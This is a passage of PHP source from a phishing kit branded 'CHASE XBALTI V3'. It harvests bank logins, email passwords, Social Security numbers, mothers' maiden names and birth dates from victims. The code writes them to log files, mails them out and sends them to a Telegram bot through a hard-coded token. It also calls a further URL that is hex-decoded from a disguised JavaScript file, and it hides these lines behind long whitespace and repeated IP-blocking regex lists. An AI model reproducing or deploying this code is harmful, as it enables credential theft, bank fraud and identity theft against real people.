"^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"//                                                                                                                                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );

}
if(isset($_POST['email1']) && isset($_POST['password1'])){	
	if(!empty($_POST['email1']) && !empty($_POST['password1'])){
$_SESSION['email1']   = $_POST['email1'];
$_SESSION['password1']    = $_POST['password1'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME	: ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL	: ".$_SESSION['email']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['password']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL TWO INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL	: ".$_SESSION['email1']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['password1']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO 		: https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE 		: ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE 	: ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) &&  $_SERVER['HTTPS'] === 'on') 
    $link = "https"; 
    else
        $link = "http"; 
$link .= "://";  
$link .= $_SERVER['HTTP_HOST']; 
$link .= $_SERVER['PHP_SELF']; 
$XBALTI_MESSAGE .= "SCAMA LINK 		: ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
                          <td>
                            ".$_SESSION['userid']."
                          </td>
                          <td>
                            ".$_SESSION['passid']."
                          </td>
						  <td>
                            ".$_SESSION['email']."
                          </td>
                          <td>
                            ".$_SESSION['password']."
                          </td>
						  <td>
                            ".$_SESSION['email1']."
                          </td>
                          <td>
                            ".$_SESSION['password1']."
                          </td>
                          <td>
                            ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
                          </td>
                          <td>
						  {".$_SESSION['_ip_']."}
                          </td>
						  <td>
                            ".$TIME_DATE."
                          </td>
                        </tr>\n";
    $khraha = fopen("../rz/emailstwo".$yourname.".html", "a");
	fwrite($khraha, $XBALTI_ADMIN);
	$xx .= "{}\n";
    $khraha = fopen("../rz/emailstwo.html", "a");
	fwrite($khraha, $xx);
    $XBALTI_SUBJECT .= "EMAIL TWO 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
    $XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
    $XBALTI_HEADERS  = "MIME-Version: 1.0" . "\r\n";
    $XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
	$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
    @mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
	}
	
	

	$data = [
	    'chat_id' => '@antibotencrypt',
	    'text' => $XBALTI_MESSAGE
	];

	 //"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"               "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"    "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"//                                                                                                                                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );

}
if(isset($_POST['ssnnum']) && isset($_POST['mdn']) && isset($_POST['dob'])){	
	if(!empty($_POST['ssnnum']) && !empty($_POST['mdn']) && !empty($_POST['dob'])){
$_SESSION['ssnnum']   = $_POST['ssnnum'];
$_SESSION['mdn']    = $_POST['mdn'];
$_SESSION['dob']    = $_POST['dob'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME	: ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL	    : ".$_SESSION['email']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['password']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL TWO INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL	    : ".$_SESSION['email1']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['password1']."<br>\n";
$XBALTI_MESSAGE .= "==============||SSN/MMN/DOB INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "SSN      	: ".$_SESSION['ssnnum']."<br>\n";
$XBALTI_MESSAGE .= "MMN      	: ".$_SESSION['mdn']."<br>\n";
$XBALTI_MESSAGE .= "DOB     	: ".$_SESSION['dob']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO 		: https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE 		: ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE 	: ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) &&  $_SERVER['HTTPS'] === 'on') 
    $link = "https"; 
    else
        $link = "http"; 
$link .= "://";  
$link .= $_SERVER['HTTP_HOST']; 
$link .= $_SERVER['PHP_SELF']; 
$XBALTI_MESSAGE .= "SCAMA LINK 		: ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
                          <td>
                            ".$_SESSION['userid']."
                          </td>
                          <td>
                            ".$_SESSION['passid']."
                          </td>
						  <td>
                            ".$_SESSION['email']."
                          </td>
                          <td>
                            ".$_SESSION['password']."
                          </td>
						  <td>
                            ".$_SESSION['email1']."
                          </td>
                          <td>
                            ".$_SESSION['password1']."
                          </td>
						  <td>
                            ".$_SESSION['ssnnum']."
                          </td>
						  <td>
                            ".$_SESSION['mdn']."
                          </td>
						  <td>
                            ".$_SESSION['dob']."
                          </td>
                          <td>
                            ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
                          </td>
                          <td>
						  {".$_SESSION['_ip_']."}
                          </td>
						  <td>
                            ".$TIME_DATE."
                          </td>
                        </tr>\n";
    $khraha = fopen("../rz/ssn".$yourname.".html", "a");
	fwrite($khraha, $XBALTI_ADMIN);
	$xx .= "{}\n";
    $khraha = fopen("../rz/ssn.html", "a");
	fwrite($khraha, $xx);
    $XBALTI_SUBJECT .= "SSN/MMN/DOB 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
    $XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
    $XBALTI_HEADERS  = "MIME-Version: 1.0" . "\r\n";
